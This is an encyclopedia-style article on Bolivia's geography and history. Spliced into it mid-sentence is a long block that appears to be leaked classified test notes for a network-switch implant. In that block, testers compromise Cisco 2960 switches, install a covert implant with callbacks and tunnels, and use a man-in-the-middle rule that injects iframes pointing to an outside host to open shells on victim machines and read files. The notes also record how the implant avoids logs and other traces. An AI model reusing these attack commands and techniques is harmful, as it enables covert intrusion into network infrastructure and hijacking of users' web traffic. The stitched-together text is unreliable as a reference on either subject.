Bolivia

This article is about the South American country. For other uses, see Bolivia (disambiguation).

Plurinational State of Bolivia Estado Plurinacional de Bolivia (Spanish) Buliwya Mamallaqta (Quechua) Wuliwya Suyu (Aymara)
Flag Coat of arms
Motto: "La Unión es la Fuerza" (Spanish) "Unity is Strength!"
Anthem: Himno Nacional de Bolivia (Spanish)
Wiphala of Qullasuyu
Capital	Sucre[a]
Largest city	Santa Cruz de la Sierra 17°48′S 63°10′W
Official languages	38 languages Castellano Aymara Araona Baure Bésiro Canichana Cavineño Cayubaba Chácobo Chimán Chiquitano Ese Ejja Guaraní Guarasu'we Guarayu Itonama Leco Machajuyai-Kallawaya Machineri Maropa Mojeño-Ignaciano Mojeño-Trinitario Moré Mosetén Movima Pacawara Puquina Quechua Sirionó Tacana Tapieté Toromona Uru-Chipaya Weenhayek Yaminawa Yuki Yuracaré Zamuco
Ethnic groups (2009)	68% Mestizo 20% Indigenous 5% White 2% Cholo 1% Black 1% Other 3% Unspecified
Demonym(s)	Bolivian
Government	Unitary presidential constitutional republic
• President	Evo Morales
• Vice President	Álvaro García Linera
Legislature	Plurinational Legislative Assembly
• Upper house	Senate
• Lower house	Chamber of Deputies
Independence  from Spain
• Declared	6 August 1825
• Recognized	21 July 1847
• Current constitution	7 February 2009
Area
• Total	1,098,581 km2 (424,164 sq mi) (28th)
• Water (%)	1.29
Population
• 2015 estimate	11,410,651 (83rd)
• Density	10.4/km2 (26.9/sq mi) (221st)
GDP (PPP)	2016 estimate
• Total	$78.351 billion (91st)
• Per capita	$7,190
GDP (nominal)	2016 estimate
• Total	$35.699 billion (96th)
• Per capita	$3,276
Gini (2014)	48.4 high inequality
HDI (2014)	0.662 medium (119th)
Currency	Boliviano (BOB)
Time zone	UTC−4 (BOT)
Drives on	right
Calling code	+591
ISO 3166 code	BO
Internet TLD	.bo
^ While Sucre is the constitutional capital, La Paz is the seat of the government. See below.

Bolivia (/bəˈlɪviə/ ; Spanish: [boˈliβi̯a]; Quechua: Buliwya [bʊlɪwja]; Aymara: Wuliwya [wʊlɪwja]; Guarani: Mborivia [ᵐboˈɾiʋja]), officially known as the Plurinational State of Bolivia (Spanish: Estado Plurinacional de Bolivia), is a landlocked country located in western-central South America. It is bordered to the north and east by Brazil, to the southeast by Paraguay, to the south by Argentina, to the southwest by Chile, and to the northwest by Peru. One-third of the country is the Andean mountain range, with one of its largest cities and principal economic centers, El Alto, located on the Altiplano. Bolivia is one of two landlocked countries (the other is Paraguay) that lie outside Afro-Eurasia. Bolivia is geographically the largest landlocked country in the Americas, but remains a relatively small country in economic and military terms.

Before Spanish colonization, the Andean region of Bolivia was part of the Inca Empire, while the northern and eastern lowlands were inhabited by independent tribes. Spanish conquistadors arriving from Cuzco and Asunción took control of the region in the 16th century. During the Spanish colonial period Bolivia was administered by the Royal Audiencia of Charcas. Spain built its empire in great part upon the silver that was extracted from Bolivia's mines.

After the first call for independence in 1809, 16 years of war followed before the establishment of the Republic, named for Simón Bolívar, on 6 August 1825. Since independence, Bolivia has endured periods of political and economic instability, including the loss of various peripheral territories to its neighbors, such as Acre and parts of the Gran Chaco. It has been landlocked since the annexation of its Pacific coast territory by Chile following the War of the Pacific (1879–84), but agreements with neighboring countries have granted it indirect access to the Pacific and Atlantic oceans.

The country's population, estimated at 11 million, is multiethnic, including Amerindians, Mestizos, Europeans, Asians and Africans. The racial and social segregation that arose from Spanish colonialism has continued to the modern era. Spanish is the official and predominant language, although 36 indigenous languages also have official status, of which the most commonly spoken are Guarani, Aymara and Quechua languages.

Modern Bolivia is constitutionally a democratic republic, divided into nine departments. Its geography varies from the peaks of the Andes in the West, to the Eastern Lowlands, situated within the Amazon Basin. It is a developing country, with a medium ranking in the Human Development Index and a poverty level of 53 percent. Its main economic activities include

Owner: User #71467

Aquaman-5h Test Notes TOP SECRET//NORFORN

3/4/2015 - User #75335

Followed README instructions to trigger HG. Opened and setup Listening window first, then followed steps to open and setup Trigger window. When I entered ./prep-ct.sh in the Trigger window, got the following message in the Listening window:

Bus error (core dumped) - spoke with User #75338/Xetron about this. He says this is because ./prep-ct.sh is only meant to be run once. It is in the README to run twice because the README assumes you are not triggering and listening on the same VM.

3/6/2015 - User #75335

Was trying different things with the Seeds host to get HG to call back without an explicit IP to impersonate. I edited the ifcfg-eth1 file on Seeds to remove the DOMAIN variable and then saved my changes to the file. Then I restarted network services on the Seeds host so my changes would take effect. Noticed that I could no longer ping the default gateway from the Seeds host. Logged into network gear to verifiy connections and found 3750G g1/0/11 in err-disable state with syslog message %ETHCTR-3-LOOP_BACK_DETECTED: Loopback detected on Gi1/0/11, putting Gi1/0/11 in err-disable state. I bounced the port to restore and it came up/up. I also check the TOR-SW-1 and found g1/0/3 in the same state. Bounced port to restore. Went back to ICON VM to attempt to trigger again and now Trigger packets are not successful, where they were before. Ran tcpdump on the Seeds host that is the destination for the trigger packet and it actually does receive the trigger packet. HG is no longer picking up the trigger packet. Reloaded 2960S to reinstall HG, and without HG installed, ports no longer to into err-disable state when I issue service network restart on Seeds. Successfully re-attacked with HG and still do not see the err-disable issue.

Testing Notes Summary

SMITE filter rule traffic visible in debug messages if debug platform cpu-queue sw-fwd-q enabled HG accepts multiple mitm http_iframe filter rules for same traffic, but only lowest numbered rule injects iframe HG mitm injects Iframe after each <body> tag in the HTML, we saw multple iframes injected because our HTML has two <body> tags After SSHIAC attack, two new processes in show stacks - Xetron aware of SSH process, need to verify platform OBFL process When HG installed, output of show stacks does not show Init process - Xetron already aware After HG uninstalled, output of show stacks has many blank lines as well as a new IP input process - Xetron already aware HG visible in show controllers output, sw-forwarding counter incrementing - Xetron already aware HG visible in Used/Free memory when it is installed - Xetron already aware Observed the following EC (not in readme) during SSHIAC attack - EC 159 and EC 60 - Xetron confirmed these are benign and are related to GDB session closing CPU spikes observed during SSHIAC attack, HG install and HG SSL Handshake - known issue, could verify levels of spike Encountered an issue with ports on switches connected to target 2960S switch (while HG installed) changing state to err-disable - current testing indicates that this occurs when HG is installed, but there is no cutthroat session active and service network restart is issued on Fedora10 Seeds host.

Progress / Notes TR team has performed initial review of configuration and Ops provided diagrams TR team is moving required VMs at this time Created Blot-Proxy, Blot-Onslaught, Blot-CoverWeb, ICON-CutThroat VMs. Copied Fedora10-hg2960-Seeds VM from NDB Lab to use for seed traffic. Built test network with 2960S-24TS-L target switch, 3750G-24T Router and 3 2960-24TT-L switches. Upgraded IOS on target 2960S switch to c2960s-universalk9-mz.122-55.SE7.bin. Updated confiugration to match config obtained from COG. Uploaded Aquaman delivery package to ICON-CutThroat VM and installed in /home/ubuntu. Successfully attacked target 2960S switch with SSHIAC and installed Hun-Grrr. Note: On ICON-CutThroat VM - had to move to Devlan temporarily to download the ia32-lib from the repo in order for SSHIAC to run Must enable the root account and su - root in each window you use when you attack with SSHIAC and use CutThroat Modified Seeds scripts on Fedora10-hg2960-Seeds VM to generate ICMP/ARP, DNS and HTTP traffic in our test network. Established comms between Hun-Grrr and ICON-Cuthroat VM. Used beacon get_current_trigger_number and beacon set_current_trigger_number to make sure HG trigger sequence number was correct Had successful trigger packets however did not receive a callback User #75337/Xteron recommended to use beacon call_me_back https 443 -ii 172.31.255.2 and then finally comms came up, successful SSL handshake in listening window. Created new WebServer VM to use as web destination for seed traffic - 172.20.13.25. Created new BIND DNS server VM to resolve WebServer domain. New BIND server has google.com, cnn.com and blot.com zones. IXIA added to the topology for traffic generation. Port 11 on IXIA to 0/1 on 3750 and IXIA Port 20 to 2960S 1/0/24 Spoke with Operator and discussed network topology and CONOP. We will need to update our testbed architecture to more closely match operational network. Installed Flux on FluxHost VM Copied Windex and Windex Target VMs to Test Range from NDB lab for use in SMITE testing Re-configured topology based on latest 2960 configs from Operator. Fixed issue with Seeds traffic - added second DNS server and moved both DNS servers and Web server into public IP space. HG comms now established without specifying a host to impersonate. Successfully tested HG SMITE functionality using Windex-Victim-WinXPProSP3 (192.168.21.11), Windex (X.X.X.XX (LVLT-GOGL-8-8-8[US])), and our WebServer (X.X.X.XX (LVLT-GOGL-8-8-8[US])). User #75333/Xetron recommends always using the -bc and -bk flags when creating the mitm rule. This bypasses compression and chunking, and SMITE did not work in our test scenario without these flags. User #75336/Xetron noted that the iframe is injected after the <body> tag, and if the body tag is split into two packets, HG will not add the iframe mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk Installed 12.2(50)SE5 on 2960#3 for use in testing Tunnel Copied RANCID VM from NDB Lab up to TestRange and configured for use on JQJTHRESHER testing Reviewed Test Plan with team Discussed CONOP of use of Flux with Dualor Tunnel with Operator Implanted 2960#3 with aquaman-3h survey delivery of HG and established comms from ICON-CT. Completed the following Smoke Tests against the target 2960-S: Attack with SSHIAC SSHIAC produced the following out on CutThroat during install - LG EC-125 DH EC-60 EC-159 M Five second CPU on Target 2960-S hit 66% as a high during the SSHIAC attack, One minute - 22%, Five minute - 11% No commands seen in history No syslog messages generated Memory used increased by ~50k Installed HG - Aquaman-5h Installed with no delay set between packets Five second CPU hit 25% during install - note this is with 0 delay between packets Memory used increased by 2.8M after install from baseline No syslog messages generated Establish Comms with ICON-CT Five second CPU hit 19% during SSL Handshake with ICON-CT No significant change to memory used (~1k) SMITE capability Successfully injected an Iframe into a web request and established a shell term connection with Windex Filter applied: mitm create http_iframe 192.168.21.11 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk Note that -bc and -bk flags aree recommended by User #75339/Xetron for standard use because they offer the best chance of success. These flags will bypass compression and chunking, and in fact SMITE does not work in our test environment without these flags configured. Five second CPU did not change from baseline - no noticeable spike No syslog messages generated. Took two screenshots - one of windex shellterm connection and one of victim source code showing Iframe for Test Report CI Test Used RANCID to compare configuration of Target 2960-S before any testing and configuration after previous smoke tests completed - RANCID found no change There were CPU spikes during SSHIAC and HG install, however these are known. Need to confirm our CPU spikes are within expected levels. There was a change in the memory used after HG install, need to confirm if this is expected and within norms. Need to eyeball the output from show-tech from before and after to look for any anamolies - found output from show controllers - line sw forwarding is 0 untile HG installed, at which point it begins incrementing additional things to track down from sh tech - exec process, remote command vtp, show stacks - difference in processes listed Found no change to files or file sizes on file system Note that there is no "test platform debugger dumpmem" command available on this 2960-S. Based on PW's Kingpin test report, this is the only IOS (except ROMMON commands) that will allow inspection of HG memory. Time permitting could perform additional hidden commands Completed the following Performance Tests against the target 2960-S Used IXIA Breaking Point to generate traffic and establish a baseline performance for the 2960-S. IXIA cabled to 2960-S (g1/0/24) on one side and 3750G (g1/01/) on the other. Traffic configured as follows: AppSim test component with BreakingPoint-Enterprise traffic profile Maximum bandwidth 75Mbps (while IXIA connects to Gigabit ports, the link between the IXIA and the 3750G is FastEthernet) 20 simulated hosts on 192.168.0.0/25 (VLAN 1) 50 simulated hosts on 192.168.21.0/24 (VLAN 21) During a 1 hour Baseline test without HG installed, target 2960-S one minute and five minute CPU Utilization remained steady at 6%. Five second CPU had small spikes with a maximum of 39%. During 30 minute Performance test with HG installed, target 2960-S CPU recorded higher results than the baseline without HG: During SSHIAC attack, five second CPU had spikes to 57% and 54% for two minutes in row during SSHIAC attack, and one minute CPU was observed as high as 21% on show proc cpu sorted, and shows 30% on a show proc cpu history During HG install, five second CPU spiked to 28% During HG SSL handshake with ICON-CT, five second CPU spiked to 18% Once HG was installed and comms established, CPU levels returned to what was observed during Baseline performance test without HG - one minute and five minute CPU levels at 6%, largest value for five second CPU was 9%. No significant change to CPU observed from Baseline during successful SMITE attack - largest five second CPU spike observed was 9%. Samsonite Test Case - Uninstall HG and re-attack Reloaded 2960-S to start with a clean target device Attacked with SSHIAC, installed HG and established comms Attempted uninstall hg command device uninstall_hg - this command fails with error that says you must use -f flag Attempted uninstall hg command device uninstall_hg -f - then typed yes to confirm, result success. Checked used memory on the target 2960-S and the memory has gone back to down normal level without HG installed (may be slight difference, need to do the math), no syslog messages, no CPU spike Re-attacked using SSHIAC, installed HG, established HG comms - no anomalies Uninstalled HG again using device uninstall_hg -f - no anomalies No syslogs Used memory back to normal - could check math to find a small difference Samsonite Test Case - Dropped connection during HG install Reloaded 2960-S to start with a clean target device Added 1 second of delay to HG upload in remote configuration file Attacked with SSHIAC Entered hg_start and after just a few chunks were sent, shut int g1/0/11 via console connection on 2960-S to simulate network outage ICON-CT reported HG install failed No syslog messages from switch Used memory still shows higher than it should, but not as high as if HG were installed - 27265180 (b) Issued no shut on 2960-S interface g1/0/11 to re-enable the connection Entered hg_start on ICON-CT and HG successfully uploaded - used memory after successful install - 29607324 (b) Samsonite Test Case - Attempt to install HG when HG already installed Cannot initiate hg_start again via remote - reports comms failure Attempted to re-attack with SSHIAC - seemed to go through normal SSHIAC install process, however at the end of the install, could not establish comms with remote Broad didn't work hg_start fails Attempted to re-establish HG comms and that was successful Samsonite Test Case - Enable MITM rule and execute system administrator commands Enabled the SMITE MITM rule used above in HG Performed the following with no anomalies observed Cleared log buffer Disable/re-enable logging Multiple show commands - mac-address table, memory, proc cpu, proc cpu hist, log,run Write mem Add/delete a user Add/delete a VLAN Verified that SMITE works by web browsing from Victim VM - collected output from Wireshark running on Victim VM which shows Iframe Samsonite Test Case - Issue Cisco "test crash" command to test crash and generate a crashinfo With HG installed, issued test crash and selected reason as software forced crash Saved output of crashinfo file Saved log messages seen upon reboot of switch in log buffer Memory used had returned to normal levels for no HG, controller counters for sw forwarding back to 0 Re-attacked with SSHIAC and installed HG and established HG comms successfully after test crash - with 1 second delay the five second CPU during HG install spiked to a max of 19% Without HG installed, repeated test crash - need to compare crashinfo Reloaded 2960-S to remove HG Issued "test crash" command with software forced crash as reason Saved output of crashinfo file Saved syslog messages seen up reboot of switch in log buffer - log messages are the same as seen on test crash with HG Samsonite Test Case - Perform core dump of 2960-S Performed a write core and saved to TFTP server - both before and after HG install. Need to compare these files Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960 Updated 2960#1 to 12.2(50)SE5 and implanted with Aquaman-3h delivery of HG Established comms with Aquaman-3h from ICON-CT on port 443 Disabled setting in Aquaman-3h HG tunnel which will disable the tunnel if the tap IP becomes active Edit hg/config/tunnel.ini and change DetectTAPSrcTraffic=Yes to No From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = Yes From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg tunnel.ini and note in the output that DetectTAPSrcTraffic has been changed to No From hg/config run ./config-tunnel ../cfs/000000004B8FAF63.cfg and note output and DetectTAPSrcTraffic = No From Aquaman-3h CutThroat, type file put cfs/000000004B8FAF63.cfg default:000000004B8FAF63.cfg in order to load the new setting up to HG From Aquaman-3h CutThroat, type module restart default:CovertTunnel.mod to restart the module This did not work initially and Xetron is aware of this problem. To fix, try restarting again, and run ilm refresh. Establish Dualor tunnel with tap IP 192.168.0.110 From /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CT is listening on port 444 From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSL session establishes Note that on ICON-CT VM you know have a new interface called tap0 with an iP 192.168.0.110 Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0 Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445 Establish HG comms using "beacon call_base_back https 192.168.0.110 445" Comms successfully established through Aquaman-3h tunnel Configured mitm rule for SMITE as in tests above and successfully exploited Victim VM and read secrets.txt from Windex Samsonite Test Case - Create MITM rule for SMITE multiple times Created the MITM rule twice in a row - command successful both times and two identical rules present in mitm show output Created a third identical MITM rule - now there are three identical MITM rules Iframe injection on Victim VM successful - only 1 Iframe injected Deleted the two additional rules and added a rule with same filter settings except different iframe string - only one iframe injected and it is for lowest numbered rule Deleted the lowest numbered rule so now only 1 rule applied - iframe is injected that matches remaining rule Noticed that in our test setup HTML we have two body tags, and we actually get two iframes injected - one after each body tag, which results in two shellterm connection ids in Windex When multiple MITM rules are present for the same traffic, lowest numbered rule is the action performed Samsonite Test Case - Reload FilterBroker.mod while mitm rule enabled Created a mitm rule and verified functionality by viewing source on the Victim VM On CutThroat session, entered module restart default:FilterBroker.mod Issued module show and saw two copies running - one status ModuleStopped, one status ModuleRunning Issued ilm refresh to attempt to clear the old copy of FilterBroker - however two copies still present in module show Ran mitm show and found no rules - restarting the module had deleted our rule Re-added a mitm rule and verified functionality by checking for the Iframe on Victim VM Checked module show and found that now, only one copy - status ModuleRunning - is present Installed new 2960-S with PoE Smoke Test - Install Aquaman-5h on PoE 2960-S Attack 2960-S with SSHIAC Five second CPU hit 58% during SSHIAC Observed same error codes in SSHIAC output as with non PoE 2960-S Install HG on 2960-S Five second CPU hit 26% during HG install No commands seen in history No syslog messages generated Used memory increased as expected Establish comms with ICON-CT Five second CPU spiked to 19% during SSL handshake Successfully established HG comms Smoke Test - Trigger and Callback through a HG Tunnel running Aquaman-3h on 2960 (2960-S with PoE) Establish Dualor tunnel with tap IP 192.168.0.100 From /hg/tools/dualor/linux, run ./Dualor .../configs/dualor-endpoint.ini and note that you get a message that CT is listening on port 444 From Aquaman-3h CutThroat, run tun init tools/dualor/config/dualor-callback.ini and note that the SSL session establishes Note that on ICON-CT VM you know have a new interface called tap0 with an iP 192.168.0.110 Add a route to ICON-CT for 192.168.21.0/24 to use tap0 interface - route add -net 192.168.21.0/24 dev tap0 Move to Aquaman-5h setup - Edit aquaman-5h.txt Interface value under general settings to tap0, and set CommsH port to 445 Establish HG comms using "beacon call_base_back https 192.168.0.110 445" Comms successfully established through Aquaman-3h tunnel Configured mitm rule for SMITE as in tests above and successfully exploited Victim VM and read secrets.txt from Windex Observation - we have two <body> tags in our HTML on our web server for google.com. When SMITE injects an iframe, we actually get two iframes inserted, once after each body tag. This does not appear to cause any issues however we do get two session ids in shellterm. Samsonite Test - Reload 2960-S during HG install Reloaded target 2960-S to start with a clean target device Attacked with SSHIAC Set remote interpacket delay to 1s to allow me to time the reload halfway through HG install Initiated HG install and reloaded the switch at the 50% User #75334 Did not see any unusual syslog messages, switch boots normally Remote reports "FAILED retry (yes/up/down/fail)? Selected fail and remote gives a Traceback and exits Re-attack with IAC - successful and looks normal Initiated HG install and allow installation to complete - Installation successful Established HG comms successfully Samsonite Test Case - Debug all With HG installed from previous test, entered debug all just to see what would happen and lost all ability to HG comms with switch, interact on vty or console. Collected a bunch of output and then hard reset. Had to kill CT listen window because HG prompt would not return in order to gracefully exit with quit command. Got a bunch of unusual error messages on the console when the switch came back up. Need to investigate these and see if these messages appear without HG. After switch reloaded, output of show debug showed persistent variable debugging is currently set to All. Not sure why that would be since the switch just reloaded and all other debugging was off. Entered undebug all to disable it. Repeating the debug all and hard reset, this time without HG and the results are the same - persistent variable debugging is set to on when switch reboots. Need to compare output of error messages. Samsonite Test Case - CI - SMITE with Cisco debug platform cpu-queue sw-fwd-q set to on Enable debug on Cisco, but do not enable SMITE rule and then web browse from SMITE victim - Note that no debug output is seen on console of 2960-S Now enable SMITE rule and then web browse from SMITE victim - Note output on console of 2960-S

• Mar 1 00:57:33: SW-FWD-Q:IP packet: Local Port Fwding L3If:Vlan1 L2If:GigabitEthernet1/0/6 DI:0x1E9, LT:7, Vlan:1 SrcGPN:6, SrcGID:6, ACLLogIdx:0x0, MacDA:0011.bb89.21c4, MacSA: 0050.5688.40eb IP_SA:192.168.21.11 IP_DA:X.X.X.XX (LVLT-GOGL-8-8-8[US]) IP_Proto:6

TPFFD:DAC00006_00010001_01A00131-000001E9_276B0000_00000000

CI Smoke Test After IAC attack, output of show stacks shows New SSH process New Platform OBFL process After HG install, output of show stacks still includes the two new processes, but now missing Init process - called Xetron, this is tracked under EAR 5163 After HG comms established, output of show stacks command looks identical as after HG install After running SMITE against Victim VM, output of show stacks shows no change After uninstall of HG Init process returned New IP input process present New Blank process present SSH Process still present (since IAC attack) Platform OBFL still present (since IAC attack) Bunch of blank lines, then \Vx~ - Called Xetron, this is tracked under EAR 5012 CI Smoke Test - Output of show chunk Reloaded target 2960-S to start with a clean target device Collected show chunk output before any attack, after hg install and after hg uninstall Noticed different number of sibling processes but that looks like it changes regularly with normal operations Names of processes are the same Attempt to reproduce err-disable state On seeds host, modified the ARP Seeds script to also ping and arp to 172.20.12.22 (ICON-CT) Installed HG on 2960S On seeds host, edited ifcfg-eth1 to remove DOMAIN variable Entered service network restart - ports changed to err-disable on TOR-SW-1 and 2960#1 Reproducible with one or two service network restarts - every time, ports go err-disable Reload 2960S to remove HG Entered service network restart on Seeds multiple times - no err-disable condition Edited ifcfg-eth1 to add DOMAIN variable, service network restart multiple times - no err-disable condition Edited ifcfg-eth1 to remove DOMAIN varibale, service network restart multiple times - no err-disable condition Put HG back on and did service network restart on Seeds- err-disable condition occurs Fixed err-disable condition by shut/no shut and then tried disable/enable LAN3 on Windows XP Victim - no err-disable condition Went back to Seeds (Fedora10) and entered service network restart - err-disable Shut seeds traffic off and entered service network restart on Seeds - err-disable Reload 2960S to remove HG, shut no shut on all the err-disable ports to fix, leaving Seeds traffic shut off to see if that will prevent the condition from occurring Did service network restart multiple times on Seeds, added and removed the DOMAIN variable with service network restart after each edit - could not recreate err-disable condition. During all this, no seeds traffic running. Put HG back on switch Entered service network restart - on the first time, no problem, entered it twice and the err-disable condition happened Put an Ubuntu VM on the same VLAN with same IP address and entered service network restart multiple times and rebooted the host - no err-disable Put Seeds VM back in place - and err-disable condition is present after editing ifcfg-eth1 to include a DOMAIN variable, then removing it. After that, service network restart triggers the err-disable condition Reloading 2960-S to try again to reproduce without HG Entered service network restart multiple times and edited the DOMAIN variable and did another service network restart - could not reproduce Installed HG - was able to reproduce Established comms with HG - could not reproduce Quit the comms session with HG and could reproduce again User #75331/Xetron called to ask for a wireshark capture (inline preferred but span if that's all we have) of the problem ocurring and also a capture of the same steps with the Ubuntu host in place User #75332/Xetron also walked me through disabling snooping (web, dns, https) on HG. He said normally, once a CT session is estalished, hg turns off snooping, so that is a difference. https change_snoop offcyle 1d https show to verify snoop setting repeat for web and dns Once snooping disabled, closed CT session and attemped to reproduce - could not, with multiple service network restarts and editing ifcfg file In order to narrow down which snoop service could be associated with the err-disable state, reloading HG fresh and disabling two of the three, and then testing Test 1 - leave only dns snooping enabled, then disconnected comms - was able to reproduce error after several service network restarts Test 2 - reload and start over, leaving only https snooping enabled and disconnect comms - was able to reproduce error after several service network restarts Test 3 - reload and start over, leaving only web snooping enabled and disconnect comms - was able to reproduce after one service network restart Captured Wiresharks for Xetron One shows err-disable on first try One shows err-disable on third try One shows no HG, and 10 service network restarts with no err-disable One shows Ubuntu14Server in place of Seeds host, with HG, and 10 service network restarts with no err-disable TOP SECRET//NOFORN

agriculture, forestry, fishing, mining, and manufacturing goods such as textiles, clothing, refined metals, and refined petroleum. Bolivia is very wealthy in minerals, especially tin.

Etymology

Bolivia is named after Simón Bolívar, a leader in the Spanish American wars of independence. The leader of Venezuela, Antonio José de Sucre, had been given the option by Bolívar to either unite Charcas (present-day Bolivia) with the newly formed Republic of Peru, to unite with the United Provinces of Rio de la Plata, or to formally declare its independence from Spain as a wholly independent nation. Sucre opted to create a brand new nation and, with local support, named it in honor of Simón Bolívar.

The original name was Republic of Bolívar. Some days later, congressman Manuel Martín Cruz proposed: "If from Romulus comes Rome, then from Bolívar comes Bolivia" (Spanish: Si de Rómulo Roma, de Bolívar Bolivia). The name was approved by the Republic on 3 October 1825. In 2009, a new constitution changed the country's official name to "Plurinational State of Bolivia" in recognition of the multi-ethnic nature of the country and the enhanced position of Bolivia's indigenous peoples under the new constitution.

History

Main article: History of Bolivia

Pre-colonial

Tiwanaku at its largest territorial extent, AD 950.

The region now known as Bolivia had been occupied for over 2,500 years when the Aymara arrived. However, present-day Aymara associate themselves with the ancient civilization of the Tiwanaku culture which had its capital at Tiwanaku, in Western Bolivia. The capital city of Tiwanaku dates from as early as 1500 BC when it was a small, agriculturally based village.

The community grew to urban proportions between AD 600 and AD 800, becoming an important regional power in the southern Andes. According to early estimates, the city covered approximately 6.5 square kilometers (2.5 square miles) at its maximum extent and had between 15,000 and 30,000 inhabitants. In 1996 satellite imaging was used to map the extent of fossilized suka kollus (flooded raised fields) across the three primary valleys of Tiwanaku, arriving at population-carrying capacity estimates of anywhere between 285,000 and 1,482,000 people.

Around AD 400, Tiwanaku went from being a locally dominant force to a predatory state. Tiwanaku expanded its reaches into the Yungas and brought its culture and way of life to many other cultures in Peru, Bolivia, and Chile. Tiwanaku was not a violent culture in many respects. In order to expand its reach, Tiwanaku exercised great political astuteness, creating colonies, fostering trade agreements (which made the other cultures rather dependent), and instituting state cults.

The empire continued to grow with no end in sight. William H. Isbell states "Tiahuanaco underwent a dramatic transformation between AD 600 and 700 that established new monumental standards for civic architecture and greatly increased the resident population." Tiwanaku continued to absorb cultures rather than eradicate them. Archaeologists note a dramatic adoption of Tiwanaku ceramics into the cultures which became part of the Tiwanaku empire. Tiwanaku's power was further solidified through the trade it implemented among the cities within its empire.

Tiwanaku's elites gained their status through the surplus food they controlled, collected from outlying regions and then redistributed to the general populace. Further, this elite's control of llama herds became a powerful control mechanism as llamas were essential for carrying goods between the civic centre and the periphery. These herds also came to symbolize class distinctions between the commoners and the elites. Through this control and manipulation of surplus resources, the elite's power continued to grow until about AD 950. At this time a dramatic shift in climate occurred, causing a significant drop in precipitation in the Titicaca Basin, believed by archaeologists to have been on the scale of a major drought.

As the rainfall decreased, many of the cities farther away from Lake Titicaca began to tender fewer foodstuffs to the elites. As the surplus of food decreased, and thus the amount available to underpin their power, the control of the elites began to falter. The capital city became the last place viable for food production due to the resiliency of the raised field method of agriculture. Tiwanaku disappeared around AD 1000 because food production, the main source of the elites' power, dried up. The area remained uninhabited for centuries thereafter.

Inca Expansion (1438–1527).

Between 1438 and 1527, the Inca empire, during its expansion from its capital at Cuzco, Peru. gained control over much of what is now Andean Bolivia and extended its control into the fringes of the Amazon basin.

Colonial period

The Spanish conquest of the Inca empire began in 1524, and was mostly completed by 1533. The territory now called Bolivia was known as Charcas, and was under the authority of the Viceroy of Lima. Local government came from the Audiencia de Charcas located in Chuquisaca (La Plata—modern Sucre). Founded in 1545 as a mining town, Potosí soon produced fabulous wealth, becoming the largest city in the New World with a population exceeding 150,000 people.

By the late 16th century, Bolivian silver was an important source of revenue for the Spanish Empire. A steady stream of natives served as labor force under the brutal, slave conditions of the Spanish version of the pre-Columbian draft system called the mita. Charcas was transferred to the Viceroyalty of the Río de la Plata in 1776 and the people from Buenos Aires, the capital of the Viceroyalty, coined the term "Upper Peru" (Spanish: Alto Perú) as a popular reference to the Royal Audiencia of Charcas. Túpac Katari led the indigenous rebellion that laid siege to La Paz in March 1781, during which 20,000 people died. As Spanish royal authority weakened during the Napoleonic wars, sentiment against colonial rule grew.

Independence and subsequent wars

Main article: History of Bolivia (1809–1920)

The struggle for independence started in the city of Sucre on 25 May 1809 and the Chuquisaca Revolution (Chuquisaca was then the name of the city) is known as the first cry of Freedom in Latin America. That revolution was followed by the La Paz revolution on 16 July 1809. The La Paz revolution marked a complete split with the Spanish government, while the Chuquisaca Revolution established a local independent junta in the name of the Spanish King deposed by Napoleon Bonaparte. Both revolutions were short-lived and defeated by the Spanish authorities in the Viceroyalty of the Rio de La Plata, but the following year the Spanish American wars of independence raged across the continent.

Bolivia was captured and recaptured many times during the war by the royalists and patriots. Buenos Aires sent three military campaigns, all of which were defeated, and eventually limited itself to protecting the national borders at Salta. Bolivia was finally freed of Royalist dominion by Antonio José de Sucre, with a military campaign coming from the North in support of the campaign of Simón Bolívar. After 16 years of war the Republic was proclaimed on 6 August 1825.

The first coat of arms of Bolivia, formerly named as the Republic of Bolívar in honor of Simón Bolívar.

In 1836, Bolivia, under the rule of Marshal Andrés de Santa Cruz, invaded Peru to reinstall the deposed president, General Luis José de Orbegoso. Peru and Bolivia formed the Peru-Bolivian Confederation, with de Santa Cruz as the Supreme Protector. Following tension between the Confederation and Chile, Chile declared war on 28 December 1836. Argentina separately declared war on the Confederation on 9 May 1837. The Peruvian-Bolivian forces achieved several major victories during the War of the Confederation: the defeat of the Argentine expedition and the defeat of the first Chilean expedition on the fields of Paucarpata near the city of Arequipa.

At the outset of the war, the Chilean and Peruvian rebel army surrendered unconditionally and signed the Paucarpata Treaty. The treaty stipulated that Chile would withdraw from Peru-Bolivia, Chile would return captured Confederate ships, economic relations would be normalized, and the Confederation would pay Peruvian debt to Chile. In Chile, the government and public rejected the peace treaty. Chile organized a second attack on the Confederation and defeated it in the Battle of Yungay. After this defeat, Santa Cruz resigned and went to exile in Ecuador and then Paris, and the Peruvian-Bolivian Confederation was dissolved.

Following the renewed independence of Peru, Peruvian president General Agustín Gamarra invaded Bolivia. The Peruvian army was decisively defeated at the Battle of Ingavi on 20 November 1841 where Gamarra was killed. The Bolivian army under General José Ballivián then mounted a counter-offensive, capturing the Peruvian port of Arica. Later, both sides signed a peace treaty in 1842, putting a final end to the war.

A period of political and economic instability in the early-to-mid-19th century weakened Bolivia. In addition, during the War of the Pacific (1879–83), Chile occupied vast territories rich in natural resources south west of Bolivia, including the Bolivian coast. Chile took control of today's Chuquicamata area, the adjoining rich salitre (saltpeter) fields, and the port of Antofagasta among other Bolivian territories.

